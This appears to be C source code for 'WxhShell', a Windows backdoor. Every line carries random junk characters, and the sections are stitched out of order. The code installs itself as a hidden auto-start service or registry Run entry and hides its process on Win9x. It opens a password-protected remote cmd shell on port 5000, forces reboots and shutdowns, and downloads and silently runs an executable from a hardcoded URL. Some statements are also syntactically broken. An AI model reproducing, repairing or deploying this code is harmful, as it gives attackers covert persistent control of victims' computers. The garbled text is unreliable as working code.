    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9UE)4*5  
    if(Boot(SHUTDOWN)) 7~m[:Eg6[s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)%0`%nSR  
    else { tDn:B$*}W,  
    closesocket(wsh); 1Y(NxC0P=g  
    ExitThread(0); 4)NbQ[  
    } {&0u:  
    break; S)=3%toS>  
    } VrnZrQj<  
  // 获取shell Ktn:6=,  
  case 's': { Y [%<s/  
    CmdShell(wsh); s|9[=JMG  
    closesocket(wsh); ND\M  
    ExitThread(0); 2OsS+6,[x  
    break; !6*m<#Qm  
  } W>y &  
  // 退出 }5]7lGR  
  case 'x': { 9oTtH7%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7)dCdO  
    CloseIt(wsh); b;I zK'  
    break; J)._&O$  
    } 0Q!/A5z  
  // 离开 u Xo?  
  case 'q': { {YF(6wVl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J *;= f8  
    closesocket(wsh); 57[tUO  
    WSACleanup(); s%i \z }/  
    exit(1); 7&3  
    break; FG)(,?q  
        } e)*-<AGwC  
  } Y4 {/P1F  
  } FqXE6^  
W=\45BJ  
  // 提示信息 T$*#q('1"}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SGK 5  
} =;~*YD(%/  
  } #R*7y%cO  
?(Ytc)   
  return; PM`iqn)@  
} ;C,t`(  
aI_[h v  
// shell模块句柄 "2z&9`VIY  
int CmdShell(SOCKET sock) a7n`(}?Y  
{ 7[ZoUWx  
STARTUPINFO si; n.OsmCRN;  
ZeroMemory(&si,sizeof(si)); 9NeHN@D)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y@ X>ejk"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )LTX.Kg  
PROCESS_INFORMATION ProcessInfo; V)A7q9Bum  
char cmdline[]="cmd"; r-$VPW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /_1q)`NYy  
  return 0; qFN`pe,  
} 8,-U`.  
K@tELYb  
// 自身启动模式 -S7i':  
int StartFromService(void) gubw&W  
{ 1 RVs!;  
typedef struct W<>R;~)  
{ W0XfU`  
  DWORD ExitStatus; W5Vh+'3  
  DWORD PebBaseAddress; (/KeGgkhv  
  DWORD AffinityMask; QB ; jZpF  
  DWORD BasePriority; G124! ^  
  ULONG UniqueProcessId; SA%uGkm:e  
  ULONG InheritedFromUniqueProcessId; TlD^EJG  
}   PROCESS_BASIC_INFORMATION; OM?FpRVU8  
F+)g!NQZ  
PROCNTQSIP NtQueryInformationProcess; jwmPy)X|s\  
TgA>(HcO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _o? I=UN2:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `t3w|%La}  
LjCUkbzQF  
  HANDLE             hProcess; .S[M: <<*  
  PROCESS_BASIC_INFORMATION pbi; ,0f^>3&n>e  
W/<Lp+p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9D]bCi\  
  if(NULL == hInst ) return 0; S4VM(~,o  
l'7' G$v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^ddC a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eh}|Wd7J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B*:W`}G]_c  
iX-.mq$  
  if (!NtQueryInformationProcess) return 0; m= rMx]k  
q\xsXM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zs2;VW4RW  
  if(!hProcess) return 0; ]z8Th5a?o  
'&/~Sh$%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |_OoD9,M  
%LBf'iA  
  CloseHandle(hProcess); }kSP p  
u Au'2M,_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9r> iP L2H  
if(hProcess==NULL) return 0; 9SXpZ*Sx  
3hcWR'|  
HMODULE hMod; SB,#y>Zv?  
char procName[255]; ce:wF#Qs  
unsigned long cbNeeded; 49= K]X  
(t5vBUj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E Q]>^VE2B  
j\iNag(   
  CloseHandle(hProcess); ySHpN>U  
^O<@I  
if(strstr(procName,"services")) return 1; // 以服务启动 Y>x3`f]  
}=A+W2D  
  return 0; // 注册表启动 .|@2Uf  
} 1BSn#Dnj  
Q-J} :U  
// 主模块 Q5]rc`} 5  
int StartWxhshell(LPSTR lpCmdLine) m[ER~]L/C  
{ Tnas$=J  
  SOCKET wsl; V`@/"Djj  
BOOL val=TRUE; Z%JAX>v&B  
  int port=0; x"A\ Z-xxz  
  struct sockaddr_in door; = u&dU'@q  
f9t+x+ Z  
  if(wscfg.ws_autoins) Install(); I#;.; %u  
NR"C@3kD]o  
port=atoi(lpCmdLine); xVTl  
5b->pc  
if(port<=0) port=wscfg.ws_port; %4})_h?j  
KQ0f2?  
  WSADATA data; udPLWrPF\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pm2]  
f8-~&N/_R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $3xDjiBb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h-fm)1S_  
  door.sin_family = AF_INET; }\1V%c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nz:p(X!  
  door.sin_port = htons(port); P!gY&>EU  
|@VhR(^O$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $."F z x  
closesocket(wsl); /#j)GlNp:  
return 1; `5n^DP*X  
} SeuDJxqopD  
!&5|:96o  
  if(listen(wsl,2) == INVALID_SOCKET) { 58R.`5B  
closesocket(wsl); m~4ik1 wq  
return 1; 8( Q  
} 5 BeU/  
  Wxhshell(wsl); {\X$vaF  
  WSACleanup(); lT~WP)  
k"E|E";B  
return 0; yv: Op\;R  
%S^:5#9  
} AC!yc(^<  
nI] zRduC  
// 以NT服务方式启动 >8&fFq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N*\r i0  
{ l;@bs  
DWORD   status = 0; kx;7/fH  
  DWORD   specificError = 0xfffffff; n4.\}%=z  
k%iwt]i%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "whs?^/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fcy4?SQ.<i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;p87^:  
  serviceStatus.dwWin32ExitCode     = 0; x6ayFq=  
  serviceStatus.dwServiceSpecificExitCode = 0; 5Q:%f  
  serviceStatus.dwCheckPoint       = 0; &da:{  
  serviceStatus.dwWaitHint       = 0; 'j!n   
]W5p\(1g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A\v53AT  
  if (hServiceStatusHandle==0) return; dF5y' R'  
|io)?`pj  
status = GetLastError(); - Rx;"J.H  
  if (status!=NO_ERROR) ^}`24~|y  
{ B~b ='jN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uMRzUK`QK  
    serviceStatus.dwCheckPoint       = 0; 40z1Qkmaey  
    serviceStatus.dwWaitHint       = 0; yCkX+{ki  
    serviceStatus.dwWin32ExitCode     = status; P6({wx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7~;)N$d\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xrI9t?QaCb  
    return; d%K{JkD-  
  } &he:_p$x  
xNa66A-8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qnqS^K,':  
  serviceStatus.dwCheckPoint       = 0; Z$%!H7w  
  serviceStatus.dwWaitHint       = 0; nzF2Waa-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \f=kQbM  
} G<]@nP{P  
f8G<5_!K_  
// 处理NT服务事件,比如:启动、停止 -9Ygn_M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aj=-^iGG  
{ 5 0a';!H  
switch(fdwControl) =(~ZmB\  
{ /82E[P"}6R  
case SERVICE_CONTROL_STOP: I!Mkss xc  
  serviceStatus.dwWin32ExitCode = 0; 4N= gl(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &wN}<G e6  
  serviceStatus.dwCheckPoint   = 0; )1$H 7|  
  serviceStatus.dwWaitHint     = 0;  kq([c r  
  { \tY7Ga%c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\!Oj5  
  } `u_k?)lK  
  return; aOQT-C[ O  
case SERVICE_CONTROL_PAUSE: keStK8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f1?%p)C  
  break; wA6E7vi'  
case SERVICE_CONTROL_CONTINUE: -B(p8YH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [k&7h,  
  break; w,_LC)9  
case SERVICE_CONTROL_INTERROGATE: O[z6W.  
  break; }:QoYNq  
}; N vTp1kI]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .~TI%&#  
} NG23  
W|(<z'S  
// 标准应用程序主函数 D&pX0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *SlWA)9 Y  
{ V#R; -C  
ZI8@ 6L\  
// 获取操作系统版本 /!y;h-  
OsIsNt=GetOsVer(); Mm1>g~o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s6#e?5J  
Ps;4]=c  
  // 从命令行安装 N/<c;"o  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y kvEQ=  
:nfy=*M#  
  // 下载执行文件 rq\<zx]au  
if(wscfg.ws_downexe) { UUa@7|x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K$B~vy6E`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 66$ hdT$  
} bH:C/P<x  
hlz/TIP^N3  
if(!OsIsNt) { 4/v[ .5  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xq"Es  
HideProc(); 9l:[jsk<d  
StartWxhshell(lpCmdLine); BB ::zBg  
} ZwiXeD+4  
else *)oBE{6D  
  if(StartFromService()) `B,R+==G:  
  // 以服务方式启动 sGpAaGY>  
  StartServiceCtrlDispatcher(DispatchTable); fzAkUvo  
else z4zPR?%:  
  // 普通方式启动 :bL^S1et  
  StartWxhshell(lpCmdLine); oq b(w+<  
|KO[[4b ?+  
return 0; %?F$3YN,  
} Y{Lxo])e  
Zv?"1Y< L  
NL2D,  
I|;C} lfp  
=========================================== W7{^/s5r  
B|{E[]iK  
oZdY0nh4  
(E~6fb "c  
ZS`Kj(D  
8o.|P8%  
" =.J cIT'  
dP>FXgY  
#include <stdio.h> gv i!|!M=  
#include <string.h> _'^_9u G  
#include <windows.h> g_?Q3  
#include <winsock2.h> )n[=)"rf  
#include <winsvc.h> DbtkWq%  
#include <urlmon.h> <AP.m4N) _  
i9`-a/  
#pragma comment (lib, "Ws2_32.lib") $Il  
#pragma comment (lib, "urlmon.lib") }wI +e Mr  
L>0Pur)[  
#define MAX_USER   100 // 最大客户端连接数 D G&aFmC  
#define BUF_SOCK   200 // sock buffer a=vH:D  
#define KEY_BUFF   255 // 输入 buffer tCA0H\';  
W1ndb:  
#define REBOOT     0   // 重启 rj?c   
#define SHUTDOWN   1   // 关机 }([}A`@  
BWB}bq  
#define DEF_PORT   5000 // 监听端口 C~. T[Mlu  
kjXwVGK=P<  
#define REG_LEN     16   // 注册表键长度 s?4nR:ZC}  
#define SVC_LEN     80   // NT服务名长度 P8;1,?ou  
'q RQO(9&m  
// 从dll定义API QXO~DR1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T[c-E*{hR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  .C5JQO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "5?1S-Vl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _j*I\  
3Wx\Liw,  
// wxhshell配置信息 :JZV=@<T  
struct WSCFG { 9E0x\%2K  
  int ws_port;         // 监听端口 FU.?n)P  
  char ws_passstr[REG_LEN]; // 口令 F[W0gjUc  
  int ws_autoins;       // 安装标记, 1=yes 0=no z+CX$.Z  
  char ws_regname[REG_LEN]; // 注册表键名 *O\lR-z!k  
  char ws_svcname[REG_LEN]; // 服务名 wm9wnAy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;:>q;%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <P@O{Xi+K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ! CJ*zZ*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TmM~uc7mj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %az6\"n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G)_Zls2 ;  
1KR4Wq@  
}; mZuLwd$0  
,WM-%2z^4I  
// default Wxhshell configuration lvNi/jk  
struct WSCFG wscfg={DEF_PORT, $xF[j9nM  
    "xuhuanlingzhe", #\ysn|!J,  
    1, _+~&t9A!  
    "Wxhshell", >hV 2p/D  
    "Wxhshell", VWzuV&;P  
            "WxhShell Service", j%J>LeTca  
    "Wrsky Windows CmdShell Service", ;18u02z^  
    "Please Input Your Password: ", /Ei e5p  
  1, |2rOV&@l9  
  "http://www.wrsky.com/wxhshell.exe", +Yc@<$4  
  "Wxhshell.exe" wjgFe]  
    }; \'iy(8i  
]!a?Lr  
// 消息定义模块 L =M'QJl9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U;"J8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fL]jk1.Xv-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]^i^L  
char *msg_ws_ext="\n\rExit."; ]9JH.fF  
char *msg_ws_end="\n\rQuit."; E\cX  
char *msg_ws_boot="\n\rReboot..."; S_RP& +!7  
char *msg_ws_poff="\n\rShutdown..."; |Q";a:&$  
char *msg_ws_down="\n\rSave to "; ,e'"SVQc  
Np+pJc1  
char *msg_ws_err="\n\rErr!"; XD_!5+\H1  
char *msg_ws_ok="\n\rOK!"; Iek ] /=  
%T\ 2.vl  
char ExeFile[MAX_PATH]; J+N -+,,  
int nUser = 0; N|ZGc{?  
HANDLE handles[MAX_USER]; ?8U]UM6Tu4  
int OsIsNt; OjqT5<U  
EQ|Wke  
SERVICE_STATUS       serviceStatus; Dk8@x8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kxz|0l  
~ t N/  
// 函数声明 G|"m-.9F  
int Install(void); UISsiiG(  
int Uninstall(void); .3cD.']%  
int DownloadFile(char *sURL, SOCKET wsh); % I2JS  
int Boot(int flag); gFfKK`)}D'  
void HideProc(void); .WuSW[g  
int GetOsVer(void); v-Q>I5D;:  
int Wxhshell(SOCKET wsl); $+Z2q<UT  
void TalkWithClient(void *cs); )e6sg]#  
int CmdShell(SOCKET sock); wwJs_f\  
int StartFromService(void); j#Lj<jX!xR  
int StartWxhshell(LPSTR lpCmdLine); FP*kA_z$  
FT-=^VA\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (N)>?r@n`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uK1VFW  
 a3a:H  
// 数据结构和表定义 q(1hY"S"}b  
SERVICE_TABLE_ENTRY DispatchTable[] = ~C3Ada@4  
{ Y4X`(\A  
{wscfg.ws_svcname, NTServiceMain}, @e$EwCV,  
{NULL, NULL} jR@>~t[}o  
}; $d,{I8d  
s'IB{lJ9  
// 自我安装 uss!E!_%,  
int Install(void) kf9]nIo  
{ imhE=6{  
  char svExeFile[MAX_PATH]; {G<1.  
  HKEY key; -9o7a_Z  
  strcpy(svExeFile,ExeFile); +RkXe;q  
K,*-Y)v2W  
// 如果是win9x系统,修改注册表设为自启动 -7%dgY(  
if(!OsIsNt) { zG^$-L.n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Nbq9YY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =ReSlt  
  RegCloseKey(key); Neii$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _g,_G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o& $lik  
  RegCloseKey(key); qG g29  
  return 0; e+>$4Jq  
    } n1PvZ~^3  
  } VRSBf;?  
} *m`x/_y+  
else { M 8(w+h{  
l k /Ke  
// 如果是NT以上系统,安装为系统服务 |_ U!i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%o! m,zFM  
if (schSCManager!=0) A0v@L6m-O  
{ 2d  YU  
  SC_HANDLE schService = CreateService E]^n\bE%  
  ( 1Y~'U =9  
  schSCManager, 4-$kc wA  
  wscfg.ws_svcname, U:[CcN/~3  
  wscfg.ws_svcdisp, 3 +`,'Q9  
  SERVICE_ALL_ACCESS, fRkx ^u P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6k<3,`VV|  
  SERVICE_AUTO_START, ej=}OH4  
  SERVICE_ERROR_NORMAL, : Cli8#  
  svExeFile, Wc;N;K52   
  NULL, UDnCHGq  
  NULL, H6`zzH0"  
  NULL, F"3'~ 6  
  NULL, sN5Mm8~  
  NULL +~M.Vs X  
  ); ?Jgqb3+!o  
  if (schService!=0) SxcE@WM  
  { Rz6kwh=q  
  CloseServiceHandle(schService); -@B6$XWL  
  CloseServiceHandle(schSCManager); JRAU|gr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HIfi18  
  strcat(svExeFile,wscfg.ws_svcname); F5M|QX@-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9F~5Ht  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dP]Z:  
  RegCloseKey(key); !X-ThKEq  
  return 0; eiRVw5g  
    } WH fl|e  
  } R$+"'N6p  
  CloseServiceHandle(schSCManager); SbsdunW+?  
} .SOCWznb  
} |W&K@g$  
=GeGlI6  
return 1; z=8l@&hYLq  
} n,_9Eh#WD  
yD8Qy+6L  
// 自我卸载 O-P`HKr  
int Uninstall(void) ![MtJo5  
{ .G"T;w 6d  
  HKEY key; tq=M 9c  
WE-+WC!!:  
if(!OsIsNt) { w7vQ6jkH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [=u@6Y  
  RegDeleteValue(key,wscfg.ws_regname); 0}T 56aD=!  
  RegCloseKey(key); j W[EjhsH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &?}h)U#:  
  RegDeleteValue(key,wscfg.ws_regname); wOrj-Smx  
  RegCloseKey(key); Q trU_c2k  
  return 0; XjxI@VXzUV  
  } zgn`@y2  
} (IA:4E}  
} k RSY;V  
else { BV\~Dm]"  
:X7O4?ww  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2|`Mb~E;  
if (schSCManager!=0) /1=x8Sb  
{ n^l5M^.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I+jc  
  if (schService!=0) |O"Pb`V+  
  { 'gsO}xj  
  if(DeleteService(schService)!=0) { yHZ&5  
  CloseServiceHandle(schService); W v,?xm  
  CloseServiceHandle(schSCManager); 'kg~#cf/+  
  return 0; RL/5 o"  
  }  x_/H  
  CloseServiceHandle(schService); 2_Cp}Pj  
  } zW.Ltz  
  CloseServiceHandle(schSCManager); y\dx \  
} y'JJ#7O=  
} zhyf}Ta'  
2j1HN  
return 1; 4e?cW&  
} |]-~yYqP3  
eQqCRXx  
// 从指定url下载文件 VjZb\ d4  
int DownloadFile(char *sURL, SOCKET wsh) #ZHKq7  
{ 6r[pOl:  
  HRESULT hr; ``kesz  
char seps[]= "/"; cwQ *P$n  
char *token; 6QPT  
char *file; SLvo)`Nc3-  
char myURL[MAX_PATH]; x@> ~&eP  
char myFILE[MAX_PATH]; 8%MF <   
N;=J)b|9  
strcpy(myURL,sURL); IQmlmu  
  token=strtok(myURL,seps); 8Kn}o@Yd  
  while(token!=NULL) ICTjUQP  
  { /~?[70B}E  
    file=token; yV&]i-ey  
  token=strtok(NULL,seps); NxFCVqGb  
  } )k `+9}OO  
V {}TG]  
GetCurrentDirectory(MAX_PATH,myFILE); F0kQ/x  
strcat(myFILE, "\\"); gDX\ p>7  
strcat(myFILE, file); >9<rc[  
  send(wsh,myFILE,strlen(myFILE),0); XqcNFSo)  
send(wsh,"...",3,0); Jr>Nc}!U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'w|N} 4  
  if(hr==S_OK) M?['HoRo  
return 0; s(MdjWw  
else ^6!8)7b  
return 1; V9  EC@)  
Cth<xn(Q  
} LXR>M>a`  
bF +d_t  
// 系统电源模块 .ffr2\'*  
int Boot(int flag) 1Va@w  
{ li} >xDSQ4  
  HANDLE hToken; *r6v9  
  TOKEN_PRIVILEGES tkp; ZalL}?E ?  
J%E0Wd  
  if(OsIsNt) { clIn}wQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X{h[    
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I7<UC{Ny  
    tkp.PrivilegeCount = 1; }F3}"Ik'L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +]Z *_?j9{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t Q>/1  
if(flag==REBOOT) { ~6Odw GWV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) owO &[D/  
  return 0; p\]rxtm  
} 1}CJ&  
else { u:^9ZQ+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X: Be'  
  return 0; Maiyd  
} a]I~.$G   
  } M%Q_;\?]  
  else { AJP-7PPD  
if(flag==REBOOT) { gO]8hLT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :1#$p  
  return 0; + ^4HCyW  
} W9A F}  
else { G[P<!6Id!p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1L3 $h0i  
  return 0; ]v$2JgF]@  
} #Jfmt~ks '  
} A5G@u}YS5  
VB4ir\nF  
return 1; t & 5s.  
} h>/L4j*Z  
N,ZmGzNP)  
// win9x进程隐藏模块 Mo4igP  
void HideProc(void) mDA1$fj"  
{ }O6E5YCm  
9;A9Q9Yr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !1bATO:x  
  if ( hKernel != NULL ) +1Rz+  
  { e&9v`8}   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Js9 EsN%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (%{!TJgZR  
    FreeLibrary(hKernel); Wtflw>-  
  } @^b>S6d "  
u4[rA2Bf8E  
return; m!Aw,*m+*  
} =%;TVJk*a  
}y%mG&KSz  
// 获取操作系统版本 XBTjb  
int GetOsVer(void) _+&/P&  
{ 7+P-MT  
  OSVERSIONINFO winfo; 08nA}+k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b .xG'  
  GetVersionEx(&winfo); //^{u[lr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /J&_ZDNV~  
  return 1; LT/ *y=  
  else 2:6lr4{uY  
  return 0; I"WmDC`1  
} kM(,8j  
qK&h$;~*y  
// 客户端句柄模块 ^O3p:X4u  
int Wxhshell(SOCKET wsl) Qmj%otSg  
{ #23($CSE  
  SOCKET wsh; j|y"Lcq  
  struct sockaddr_in client; Kr%O}<"  
  DWORD myID; VQ4rEO=t  
^=w){]G  
  while(nUser<MAX_USER) 5^36nEoA(  
{ <!~NG3KW[>  
  int nSize=sizeof(client); &3YXDNm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rmhL|! Y  
  if(wsh==INVALID_SOCKET) return 1; ZV~9{E8  
d-#yN:}0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &t74T"(d  
if(handles[nUser]==0) q&: t$tSS  
  closesocket(wsh); !f# [4Xw  
else b*cVC^{Dy  
  nUser++; 6 $+b2&V  
  } p@+D$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eg>]{`WQ  
'\Uy;,tu /  
  return 0; WL<f!   
} PE2O$:b\  
U~<~>^[  
// 关闭 socket ^W[3Ri G  
void CloseIt(SOCKET wsh) Fr,b5 M<L7  
{ Ng\]  
closesocket(wsh); S6c>D&Q  
nUser--; U5H5QW+  
ExitThread(0); qmbhx9V   
} oMF[<Xf  
1K{hj%  
// 客户端请求句柄 h%U,g 9_  
void TalkWithClient(void *cs) bVds23q  
{ ]bAw>1,NVD  
v`~egE17  
  SOCKET wsh=(SOCKET)cs; HJOoCf  
  char pwd[SVC_LEN]; 3xpygx9  
  char cmd[KEY_BUFF]; WI\h@qSB  
char chr[1]; Hr=?_Un"  
int i,j; x7c#kU2A&Z  
#h2 qrX&+  
  while (nUser < MAX_USER) { .&n;S';"  
lAPPn g`  
if(wscfg.ws_passstr) { }j|YX&`p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8>ODtKI *  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cu"ge]},  
  //ZeroMemory(pwd,KEY_BUFF); Wvwjj~HP2}  
      i=0; jxDA+7  
  while(i<SVC_LEN) { 3 >G"&T{  
^ V8?6E  
  // 设置超时 6 G?7>M  
  fd_set FdRead; VKHzGfv  
  struct timeval TimeOut; =~{W;VZt'  
  FD_ZERO(&FdRead); L7$1rO<  
  FD_SET(wsh,&FdRead); 2<^eVpNJR  
  TimeOut.tv_sec=8; cK1RmL"3  
  TimeOut.tv_usec=0; X5o{d4R L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q Pp>%iE@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m7,;Hr(  
C'fQ Z,r-v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZNY), 3?  
  pwd=chr[0]; J8PZVeWx  
  if(chr[0]==0xd || chr[0]==0xa) { }wV/)Oy[  
  pwd=0; wy# 5p]!u  
  break; 3b1%^@,ACy  
  } p|'Rm ]&jb  
  i++; pL{:8Ed  
    } '=>l& ;  
k\lU Q\/O5  
  // 如果是非法用户,关闭 socket =42NQ{%@;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Wvg{ S -  
} !v]~ut !p  
_Wo(;'.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *^.OqbO[U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fZrB!\Q  
5Q@4@b{C  
while(1) { U#F(%b-LC  
e><,WM,e  
  ZeroMemory(cmd,KEY_BUFF); ^uWj#  
n.xOu`gj  
      // 自动支持客户端 telnet标准   t$b{zv9C  
  j=0; MGSD;Lgn  
  while(j<KEY_BUFF) { 0`"DYJ}d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RV, cQ K  
  cmd[j]=chr[0]; OJPi*i5*  
  if(chr[0]==0xa || chr[0]==0xd) { c:_dW;MJ0  
  cmd[j]=0; ;F\sMf{  
  break; >&uR=Yd  
  } LkUi^1((e  
  j++; qwHP8GU  
    } XQ$9E?|=  
<5sP%Fs)  
  // 下载文件 EJJW  
  if(strstr(cmd,"http://")) { [fr!J?/@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x.aqy'/`  
  if(DownloadFile(cmd,wsh)) uKd79[1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ak]H|D" 9  
  else rb<9/z5-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dZ'H'm;,!  
  } Rln@9muXA  
  else { U&SgB[QHO  
